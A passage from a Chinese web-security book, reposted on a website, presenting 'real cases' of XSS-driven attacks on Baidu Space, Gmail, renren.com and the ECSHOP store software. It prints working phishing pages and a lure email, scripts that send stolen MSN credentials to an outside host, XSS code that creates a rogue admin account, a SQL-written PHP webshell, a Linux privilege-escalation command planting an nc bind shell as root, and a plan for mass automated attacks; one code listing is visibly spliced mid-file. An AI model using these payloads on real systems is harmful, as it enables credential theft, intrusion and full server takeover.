返回介绍

7.8 真实案例剖析

发布于 2024-01-20 15:41:03 字数 23484 浏览 0 评论 0 收藏 0

下面介绍在真实的环境中一些比较有代表性的测试案例,看看如何结合一些攻击向量来完成具体场景的一次攻击。

7.8.1 高级钓鱼攻击之百度空间登录

DIV层钓鱼

在百度空间中,用户注册后会得到一个属于自己的空间地址,如hackomega用户的地址是:

http://hi.baidu.com/hackomega

由此可见,用户都在hi.baidu.com域下,如果出现XSS漏洞,就可能执行许多危险的操作,我们发现百度空间个人主页上存在一个持久型XSS漏洞,用户可以在自己的空间主页上添加一个自定义widget,由于没有过滤src值中的双引号,导致可以构造出如下XSS代码:

<iframe width="216" height="160" 
frameborder="0" src="http://www.
widget8.com/ipqm/baidu.html?id=baidu" 
onload="s=document.
createElement('script');s.src='http://hackome
ga.com/test.js';
document.getElementsByTagName('body')
[0].appendChild(s);"" 
style="overflow-x:hidden;border-style: none 
#ffffff solid;" 
marginwidth="0" marginheight ="0">

其中,http://hackomega.com/test.js是我们要实施攻击的js文件。那我们到底要做什么?钓鱼!进行隐蔽性非常高的钓鱼攻击,目标用户就是访问这个空间的用户,可能有普通人、安全人员、黑客等。那么如何获取他们的账户和密码呢?在用户主页上单击右上角的“登录”链接,会弹出一个DIV层,如图7-15所示。

图7-15 百度空间登录框

这是一个DIV登录框,我们完全可以通过注入进来的JavaScript代码伪造出一个一模一样的登录框,从而让用户无法识别。那么当用户被欺骗登录时,账户和密码就会被盗取。

知道目的后,继续下面的操作。

回到http://hackomega.com/test.js脚本文件,其代码如下(这段代码来自百度空间自己的登录函数,直接复制并做些修改即可):

BdUtil.relogin = function(){
  function Iframe(url,t,w,h) {
    var W=w||350;
    var H=h||100;
    var T=t||"提示";
    var pop=new Popup({ contentType:1, isReloadOnClose:false, isSupportDraging: false, width:W, height:H});
    pop.setContent("title",T);
    pop.setContent("contentUrl",url);
    pop.build();
    pop.show();
    return pop;
  }
  var g_jump_url=window.location;
  //正常的登录表单,我们把它注释掉
  //g_pop=Iframe("https://passport.baidu.com/?login&psp_tt=2&tpl=sp&fu="+escape("http://hi.baidu.com/st/loginok.html")+"&u="+escape(g_jump_url), "登录到百度空间",400,330);
  //使用自己伪造的登录表单页面login.htm
  g_pop=Iframe("http://hackomega.com/baidu/login.htm#"+escape(g_jump_url), "登录到百度空间",400,330);
    if(window.location.href=='http://hi.baidu.com' || 
       window.location.href=='http://hi.baidu.com/' || 
       window.location.href=='http://hi.baidu.com/index.html' || 
       window.location.href.toLowerCase()=='http://hi.baidu.com/index%2ehtml'){
       //fixed the bug of /index
      G('dialogBox').style.top="200px";
      G('dialogBoxShadow').style.top="204px";
      G('dialogBox').style.left="35%";
      G('dialogBoxShadow').style.left="35%";
  }
}

BdUtil.relogin函数会在用户单击空间主页右上角的“登录”链接时触发,并弹出DIV登录框,这里其实是将BdUtil.relogin重写了,这样就可以执行我们需要的操作。填充一个伪造的登录表单login.htm,关键代码如下:

<!--STATUS OK-->
<html>
<head>
<meta http-equiv=content-type content="text/
html; charset=utf-8">
<title>百度个人中心登录</title>
<script language="javascript">
function G(id){
  return document.getElementById(id);
}
</script>
<META http-equiv='Pragma' content='no-cache'>
<style type="text/css">
form{MARGIN: 0px; PADDING: 0px;}
body{margin:0;padding:0;width:362px;backgroun
d-color:#FFFFFF;color:#333333;}
#main{width:362px;margin:0;margin:0;}
div{font-size:12px;line-height:18px}
/*省略过多样式,样式其实非常重要,它决定了钓鱼页面的呈现,这些样式不
需要重写,可以复制百度空间DIV登录框对应的样式
*/
</style>
<script>
//省略无关的JavaScript代码
</script>
</head>
<body>
<div id="main" align="left">
<div class="b2">
<div id="div_login">
<div id="login_tit"><strong>百度注册用户请直接登录</strong></div>
<form action="https://passport.baidu.com/?login" method="POST" onSubmit="
return checkForm(this);">
<!--省略多余的表单项-->
<div class="item2">
  <div class="tit">用户名:</div>
  <div class="desc">
    <input type="text" name="username" id="username"value="" 
         onChange="chechUserOld('username')" class="ip"/>
  </div>
</div>
<div class="item2" id="trPassNorm">
  <div class="tit">密  码:</div>
  <div class="desc"><input type="password" id="normModPsp" value=""class="ip"/></div>
</div>
<div class="item2" id="vcodeTr">
  <div class="tit">验证码:</div>
  <div id="tdSafeCont" class="desc">
    <input type="text" id="verifycode" name="verifycode" class="ip"style="width:60px" maxlength="4"/>
    <script>document.write('<img src="https://passport.baidu.com/?verifypic&t='+(new Date().getTime())+'" id="verifypic" />');
    </script><a href="javascript:newverifypic();" title="看不清左边的字符">看不清?</a>
  </div>
</div>
<div class="item2" id="trRem1" >
  <div class="tit"></div>
  <div class="desc">
      <span class="f13"><input name="mem_pass" id="mem_pass"  checked="checked"  type="checkbox"><label for="mem_pass">
      记住我的登录状态</label> </span>
  </div>
</div>
<div class="item2" id="trRem2" >
  <div class="tit"></div>
  <div class="desc">
    <span class="mespasstip">使用公用电脑请勿选择该项</span>
   </div>
</div>
<div class="item2" >
  <div class="tit"></div>
  <div class="desc">
    <input type="submit" value=" 登录 "/>  
    <a target="_blank"href="https://passport.baidu.com/?getpass_index">忘记密码?</a>
  </div>
</div>
<div></div>
</form>
</div><!--div_login-->
<div id="div_reg">
  <hr size="0">
  <strong class="f12">没有百度账号?</strong>
  <div align="center"><input type="button" value="立即注册百度账号" onClick="goreg2();"></div>
</div>
</div><!--b2-->
</div><!--main-->
<div id="bdNextTarget"></div>
<SCRIPT language="JavaScript">
//省略无关的JavaScript代码
</SCRIPT>
<div id="check_username_script"></div>
<script>
//省略无关的JavaScript代码
function $$(x){
  return document.getElementById(x);};
  var sub;
  inputs=document.getElementsByTagName('input');
  for(i in inputs){
    if(inputs[i].type=='submit'){
    sub=inputs[i];
    break;
  }
}
  $fp = fopen("baidu/data.html", "a+");
  fwrite($fp, "<p>IP: $ip | $curtime <br />UserAgent: $useragent <br />DATA: ".quotes($data))."</p><br />";
  fclose($fp);
}

steal.php得到data的值后,会往baidu/data.html中写入代码,最终的效果如图7-16所示。

图7-16 百度空间钓鱼效果

从上面的代码中我们可以看到,整个攻击过程其实是非常隐蔽的,用户很难区分弹出的登录框是真的还是假的,按照习惯,用户和往常一样登录时,账户和密码就会被盗取。

7.8.2 高级钓鱼攻击之Gmail正常服务钓鱼

Gmail钓鱼攻击成功率在当时还是比较高的,其测试的对象中招率大于50%,这种攻击可以获取用户的Gmail密码。在介绍Gmail钓鱼攻击前,先介绍一下我们对这类风险的一些看法。

随着Web应用的多向性发展,分离、聚合,甚至可以构成一个Web OS,比如,Google这样的。现在的Web 2.0讲究Mashup(聚合),比如Google就有自己的Gadgets,这在Google Wave(曾经火一时的社交型在线即时通信交流的Web 2.0服务,现已下线)和igoogle里得到了巨大的发挥。再如Opensocial API,聚合进很多优秀的第三方应用。

这些看似分离的服务,在攻击中能起到什么样的作用呢?

浏览器的同源策略很不错吧?可是人的思维就做不到如此严格的同源。用户很难想象同样是来自Google域下的服务,居然成为帮凶来危害Google另一个域下的服务。这样具有欺骗用户思维的伎俩大多数都可以称为钓鱼攻击。在Web 2.0时代,高级钓鱼攻击技术就要让用户看起来好像就应该这样,这就是原生态。这样的原生态可以是:一个弹出的从配色、文字上都与当前页面非常和谐的DIV,一个JavaScript加载进来的伪页。只要这样的攻击发生,用户很难发现。

但如果要弹出一个本不存在的DIV或者加载一个伪页,就需要XSS,如果没有XSS,在适合的场景就可以利用“Web OS”下其他可以利用的服务。比如,Google的https://spread-sheets.google.com/,大家想过这样的服务能做什么吗?如何危害Google的其他服务?或者人人网的http://share.renren.com/,这个能做什么,又如何危害renren.com的其他服务?我们不需要XSS/CSRF。

Web是危险的,但Web 2.0更危险,因为应用更复杂,聚合度更高,用户参与更多。用户通常觉得Google是安全的,从而就认为Google Wave也应该是很安全的,就是这样,用户的思维做不到严格同源。

下面开始进入正题。“谷歌开发者日2009”大会结束后,Google采用Google Docs Spreadsheets的形式发送一份关于Google Wave的调查,当时很多人都关注这个大会,并且很多IT人士关注着Wave,于是我们思考着如何黑了一些人,目的就是得到Gmail密码,下面看看是怎么操作的。

1. 准备工作

注册一个Gmail账号,专门用于钓鱼,账号名为gwavegroups@gmail.com,看上去很像官方的。

开始制作一个与Google官方发送的“GoogleWave”调查非常相似的Spreadsheets(其实就是一种form表单),全英文的形式如图7-17所示。

图7-17 Google Wave伪造的调查表

这个伪造的Spreadsheet与Google官方发布的不一样之处就是后者会索要用户的密码。注意:Spreadsheets是Google Docs的一种服务,是一种表单形式,经常被用来做在线调查,所以这个钓鱼的域属于Google,图7-17的地址像下面这样:

https://spreadsheets.google.com/viewform?formkey=clowQVNxdk1iR2Y3R3BRM2FnLUSS-DDjxD

2. 开始攻击

准备好后,我们就要用gwavegroups@gmail.com去发送邀请了,信件原文如下:

Again.

Thanks for your interest in the Google Wave 

developer sandbox! Please 

fill out the form below and we'll contact 

you after 24 hours.

We need to confirm your Account on wave. The 

wave account will be binded 

to your google account. Please set the 

password same to your current 

google account.

I've invited you to fill out the form Google 

Wave Sandbox Account Confirm. 

To fill it out, visit:

https://spreadsheets.google.com/viewform?formkey=clowQVNxdk1iR2Y3R3BRM2FnLUSSDDjxD

效果非常不错,钓了圈内不少人的密码,当用户填写了上面的表单后,Spreadsheet会将填写的内容发送到我们的Google Docs管理后台,如图7-18所示。

图7-18 Google Docs后台上看到的被钓用户信息

7.8.3 人人网跨子域盗取MSN号

2009年,在中国软件安全峰会(简称SSCon)的《探究XSSVirus》的议题中我们提到:在基于Web平台的操作层面上,有些类似传统桌面的攻击同样会发生,比如,盗QQ号、MSN号、Web网游号等。攻击的技巧有:高级钓鱼攻击(甚至不需基于XSS)、XSS keylogger、JSON Hijacking等。

在SSCon 2009会议上,我们演示了跨子域盗MSN号的demo录像,下面介绍一下具体过程与细节。

利用renren.com任意子域下发现的XSS,当用户被跨时,可以将如下payload写入用户本地存储:Cookie、userData、localStorage、FlashCookie(具体内容可参看2.5.5节),比如,这里使用的是localStorage,那么下次读取并执行用户本地存储的payload只要用下面简单的一句代码即可。

eval(window.localStorage.getItem("shellcodz"));

当然,<script src=romote-do-main/evil.js></script>调用远程payload,这个可以任意发挥,当时我们在SSCon 2009上的议题更加关注本地存储存放payload的问题,payload代码如下:

window.onload = function () {
  //onload之后hijack
  alert(document.links.length);
  for (i = 0; i < document.links.length; i++) {
    document.links[i].onclick = hijack;
  }
}
function hijack() {
  //这里仅劫持目标页面的url:http://invite.renren.com/Invite.do
  //invite里有msn邀请好友的功能,其中有要求你输入msn账号密码
  if (this.href.indexOf('invite.renren.com') == -1) {
    return
  };
  x = window.open(this.href);
  //超时 5 秒是有道理的,inj 函数与 invite 页面 document.domain='renren.com'的
  //时间竞争
  //只要在document.domain='renren.com';之后执行inj,我们的跨子域攻击就可以成功
  //因为此时子域的document.domain已经变为renren.com,可随便跨站
  setTimeout("inj(x)", 5000);
  return false;
}
function inj(x) {
  s = x.document.createElement('script');
  //注入msn账号密码监控脚本
  s.src = 'http://www.0x37.com/domain/monitor.js';
  x.document.getElementsByTagName('body')[0].appendChild(s)
}

监控脚本monitor.js的代码如下:

sub=document.getElementsByTagName('input')[5];
sub.onclick=function(){
  data = $("uAccount").value+','+$("pwd").value;
  //alert(data);
  new Image().src="http://www.0x37.com/domain/steal.asp?data="+escape(data);
}

这段代码很简单,当用户输入MSN账号和密码邀请好友加入人人网时(invite页面如图7-19所示),用户的MSN账号和密码就会被盗取。

图7-19 invite页面MSN邀请

其中有些细节是需要我们特别注意的:

· 人人网中Web所有的子域都用了docu-ment.domain='renren.com'。

· 注入监控脚本与invite页面的document.do-main='renren.com'的时间竞争。

大家可以结合7.6.5节的内容仔细想想,跨子域技巧真的理解透了吗?

7.8.4 跨站获取更高权限

跨站获取最高权限是一个很酷的过程,一个XSS执行一系列操作,甚至将危害带到目标服务器操作系统层面,比如,植入一个提权shell。真实世界的渗透有时很复杂,下面以ECSHOP为例进行说明,具体漏洞信息在此不便公开。

1. 添加管理员账号

有时候通过Cookie利用,还要考虑到Cookie失效或者Cookie绑定了IP,或者Cookie带有HttpOnly标志导致不可利用。如果在利用XSS的过程中可以直接在管理后台添加一个管理员账号会更方便,不过这也有一个不足,就是可能会被发现新出现的管理员账号。

针对ECSHOP的环境,我们来看看如何添加一个管理员账号。诱骗管理员查看存在XSS脚本的页面后,会触发如下代码(看注释):

//添加admin权限账号
g_user_name="admin1"; // 待添加的管理员名字
g_user_id = "0";
var xRequest=false;
function xhr(){ // xhr对象函数
  if(window.XMLHttpRequest){
    //firefox标准
    xRequest=new XMLHttpRequest();
  }
  else if(window.ActiveXObject){
    //ie标准
    xRequest=new ActiveXObject("Msxml2.XMLHTTP");
    if(!xRequest){
      //ie标准
      xRequest=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
  return xRequest;
}
function setRequest1(_m,action,argv,sync){
  xRequest.open(_m,action,sync);
  //当为POST方式时,Content-Type设置为 application/x-www-form-urlencoded
  if(_m=="POST")
    xRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  if(sync){
    xRequest.onreadystatechange=function() {
      if(xRequest.readyState==4) {
        if(xRequest.status==200) {
          return xRequest.responseText;
        }
      }
    }
  }
  xRequest.send(argv);
  if(!sync){
    return xRequest.responseText;
  }
}
function setRequest2(_m,action,argv,sync){
  xRequest.open (_m, action, sync);
  //当为POST方式时,Content-Type设置为 multipart/form-data;
  //boundary=-------------------7964f8dddeb95fc5
  if(_m=="POST")
    xRequest.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
  if(sync){
    xRequest.onreadystatechange=function() {
      if(xRequest.readyState==4) {
        if(xRequest.status==200) {
          return xRequest.responseText;
        }
      }
    }
  }
  xRequest.send(argv);
  if(!sync){
      return xRequest.responseText;
  }
}
xRequest=xhr(); // 初始化xhr对象
function add_admin_step1() { 
  // 添加管理员账号第一步
  src="http://foo.com/shop/admin/privilege.php?act=add"; // 表单提交地址
  user_name=g_user_name; // 待添加的管理员名字
  email="admin123@admin.com"; // email地址
  password="hacker123"; // 密码
  pwd_confirm="hacker123"; // 确认密码
  act="insert";
  argv_0="\r\n";
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"user_name\"\r\n\r\n";
  argv_0+=(user_name+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"email\"\r\n\r\n";
  argv_0+=(email+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n";
  argv_0+=(password+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"pwd_confirm\"\r\n\r\n";
  argv_0+=(pwd_confirm+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"act\"\r\n\r\n";
  argv_0+=(act+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5--\r\n";
  resp = setRequest2("POST",src,argv_0,false);
  search_str1 = '<a href="privilege.php?act=allot&id=';
  search_str2 = '&user='+g_user_name+'" >';
  pos1 = resp.indexOf(search_str1)+search_str1.length;
  pos2 = resp.indexOf(search_str2);
  g_user_id = resp.substring(pos1,pos2);
  // 得到一个添加后的管理员id号,第二步需要这个值
  //alert(g_user_id);
}
function add_admin_step2() { 
  // 添加管理员账号第二步
  src="http://foo.com/shop/admin/privilege.php"; // 表单提交地址
  id=g_user_id; // add_admin_step1添加admin得到的唯一id号
  // 下面的内容是授权的值,全选,让添加的管理员账号拥有绝对的权限 argv_0="chkGroup=checkbox&action_code%5B%5D=goods_manage&action_code%5B%5D=remove_back&action_code%5B%5D=cat_manage&action_code%5B%5D=cat_drop&action_code%5B%5D=attr_manage&action_code%5B%5D=brand_manage&action_code%5B%5D=comment_priv&action_code%5B%5D=tag_manage&action_code%5B%5D=goods_type&action_code%5B%5D=goods_auto&action_code%5B%5D=virualcard&action_code%5B%5D=picture_batch&action_code%5B%5D=goods_export&action_code%5B%5D=goods_batch&action_code%5B%5D=gen_goods_script&chkGroup=checkbox&action_code%5B%5D=article_cat&action_code%5B%5D=article_manage&action_code%5B%5D=shopinfo_manage&action_code%5B%5D=shophelp_manage&action_code%5B%5D=vote_priv&action_code%5B%5D=article_auto&chkGroup=checkbox&action_code%5B%5D=feedback_priv&action_code%5B%5D=integrate_users&action_code%5B%5D=sync_users&action_code%5B%5D=users_manage&action_code%5B%5D=users_drop&action_code%5B%5D=user_rank&action_code%5B%5D=surplus_manage&action_code%5B%5D=account_manage&chkGroup=checkbox&action_code%5B%5D=template_manage&action_code%5B%5D=admin_manage&action_code%5B%5D=admin_drop&action_code%5B%5D=allot_priv&action_code%5B%5D=logs_manage&action_code%5B%5D=logs_drop&action_code%5B%5D=agency_manage&action_code%5B%5D=suppliers_manage&action_code%5B%5D=role_manage&chkGroup=checkbox&action_code%5B%5D=shop_config&action_code%5B%5D=ship_manage&action_code%5B%5D=payment&action_code%5B%5D=shiparea_manage&action_code%5B%5D=area_manage&action_code%5B%5D=friendlink&action_code%5B%5D=db_backup&action_code%5B%5D=db_renew&action_code%5B%5D=flash_manage&action_code%5B%5D=navigator&action_code%5B%5D=cron&action_code%5B%5D=affiliate&action_code%5B%5D=affiliate_ck&action_code%5B%5D=sitemap&action_code%5B%5D=file_priv&action_code%5B%5D=file_check&action_code%5B%5D=reg_fields&action_code%5B%5D=shop_authorized&action_code%5B%5D=webcollect_manage&chkGroup=checkbox&action_code%5B%5D=order_os_edit&action_code%5B%5D=order_ps_edit&action_code%5B%5D=order_ss_edit&action_code%5B%5D=order_edit&action_code%5B%5D=order_view&action_code%5B%5D=order_view_finished&action_code%5B%5D=repay_manage&action_code%5B%5D=booking&action_code%5B%5D=sale_order_stats&action_code%5B%5D=client_flow_stats&action_code%5B%5D=delivery_view&action_code%5B%5D=back_view&chkGroup=checkbox&action_code%5B%5D=topic_manage&action_code%5B%5D=snatch_manage&action_code%5B%5D=ad_manage&action_code%5B%5D=gift_manage&action_code%5B%5D=card_manage&action_code%5B%5D=pack&action_code%5B%5D=bonus_manage&action_code%5B%5D=auction&action_code%5B%5D=group_by&action_code%5B%5D=favourable&action_code%5B%5D=whole_sale&action_code%5B%5D=package_manage&action_code%5B%5D=exchange_goods&chkGroup=checkbox&action_code%5B%5D=attention_list&action_code%5B%5D=email_list&action_code%5B%5D=magazine_list&action_code%5B%5D=view_sendlist&chkGroup=checkbox&action_code%5B%5D=template_select&action_code%5B%5D=template_setup&action_code%5B%5D=library_manage&action_code%5B%5D=lang_edit&action_code%5B%5D=backup_setting&action_code%5B%5D=mail_template&chkGroup=checkbox&action_code%5B%5D=db_backup&action_code%5B%5D=db_renew&action_code%5B%5D=db_optimize&action_code%5B%5D=sql_query&action_code%5B%5D=convert&chkGroup=checkbox&action_code%5B%5D=sms_send&checkall=checkbox&Submit=+%E4%BF%9D%E5%AD%98+&id="+id+"&act=update_allot"
  setRequest1("POST",src,argv_0,true);
}
// 执行这些操作
add_admin_step1();
add_admin_step2();
// 成功后发送一个标志,以便攻击者察觉
new Image().src="http://hackomega.com/xss/steal.php?data=success!";

从这个过程可以发现,添加一个管理员账号是非常容易的。这个过程通过JavaScript来发送HTTP请求,即可完成,效果如图7-20所示。

图7-20 ESCHOP XSS添加管理员账号效果

我们可以知道这些攻击过程本质上就是发送HTTP请求,而这些HTTP请求几乎是可以通过JavaScript进行模拟的。

2. 写Ubuntu 8.04提权shell

这个过程是通过跨站攻击进行Linux提权,得到Linux的root权限,整个攻击要依赖具体的场景。首先,目标网站所在的操作系统(Linux)需存在提权漏洞,一般情况下,Web服务运行在一个低权限的账号下,攻下Webshell后,可以对Linux文件系统等进行一些低权限的操作,如果存在提权漏洞,有时候通过Webshell可以直接完成提权操作。

下面来看看我们遇到的一个场景,ECSHOP的某一个版本存在XSS漏洞,Web容器是Apache,运行在Ubuntu 8.04 Server系统上。Ubuntu的这个版本存在一个提权漏洞(CVE-2010-3856:De-bian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root)。

由于ECSHOP管理后台有一个执行SQL语句的功能,如图7-21所示。

图7-21 ESCHOP后台执行SQL语句功能

我们后来分析发现,这个网站的ECSHOP使用MySQL的root账号权限连接后端MySQL数据库,默认情况下,MySQL的root账号有权限通过数据库的操作系统操作API进行本地文件的读写操作,但是在写操作的过程中会有一个限制(因为Ubuntu apparmor安全机制的问题),这个场景中可以通过SQL写文件操作往目标网站所在目录的data/目录下写Webshell文件,是目标网站在apparmor的配置中加入了网站目录的写权限。

情况看起来似乎都很顺利,通过XSS执行写文件操作的SQL语句,并且有权限往ECSHOP的data/目录下写,可是这个data/目录的绝对路径是什么?不知道绝对路径就无法写成功。由于我们之前通过目标网站的PHP的一个报错知道了绝对路径,才方便了我们后续的渗透,但是如果不知道绝对路径,也可通过其他方法,如执行SQL获取默认Apache配置文件里网站目录的信息,只是这个过程会导致渗透难度加大。

排除这些杂项后,来看看XSS如何获得这台Web服务器的root权限。

同样是欺骗管理员查看包含XSS脚本的页面后,触发如下代码:

function new_form(){
  var f = document.createElement("form");
  document.body.appendChild(f);
  f.method = "post";
  return f;
}
function create_elements(eForm, eName, eValue){
  var e = document.createElement("input");
  eForm.appendChild(e);
  e.type = 'text';
  e.name = eName;
  if(!document.all){e.style.display = 'none';}else{
    e.style.display = 'block';
    e.style.width = '0px';
    e.style.height = '0px';
  }
  e.value = eValue;
  return e;
}
var _f = new_form();
create_elements(_f, "sql", "<? 
passthru($_GET['c']); ?>' into outfile 
'/var/www/shop/data/tiquan.php';");
// 写入一句话脚本为tiquan.php文件,方便后续的提权操作
create_elements(_f, "act", "query");
_f.action= "http://foo.com/shop/admin/
sql.php"; // 执行SQL查询
_f.submit();
new Image.src="http://foo.com/shop/data/tiquan.php?c=echo '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit";
// 最后执行针对Ubuntu 8.04的提权操作

最后这条指令会在目标Web服务器上打开nc后门,nc会监听本地的79端口等待远程连接。我们只要远程使用nc 192.168.37.130 79命令,即可连接上目标Web服务器(PORT为79),此时就具备root权限,可以执行任意操作系统指令。

这里描述这些方式是想让大家看到通过一个XSS,如何将威胁更大化。7.8.5 大规模XSS攻击思想

当发现一个具有共性的XSS漏洞时,比如某CMS后台的一个存储型XSS,可以通过提交友情链接申请来进行攻击,当管理员登录后台并查看友情链接审核页面时,就会被跨。攻击者通过XSS得到的Cookies信息就能获取管理员权限,这个过程比较容易。那么如何批量获取使用了这个CMS的网站后台权限?这样的攻击可以自动化,并且效果非常好。

下面看看实际的一个攻击场景。

国内某开源的CMS系统,管理后台的友情链接审核页面存在存储型XSS漏洞,通过GoogleHack技巧,可以批量得到这个CMS系统网站:

http://www.google.com.hk/search?q=Pow-ered by xxxCMS v3.7

我们写了一个python程序自动化完成这个搜索过程,并获取网站列表,然后批量发送友情链接申请的POST请求,并处于等待状态,当管理员查看友情链接审核页面后,会触发前面提到的xssprobe探针,该探针会收集到Cookies、location等信息。同时,我们还在xssprobe中添加了一段额外的JavaScript函数,该函数会自动添加一个管理员账号。

这个思想很简单,也很有效。通过GoogleHack可以批量得到目标网站列表,不过有可能被Google封闭查询,但有绕过的方式。除了Google可以这样,其他搜索引擎也类似。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文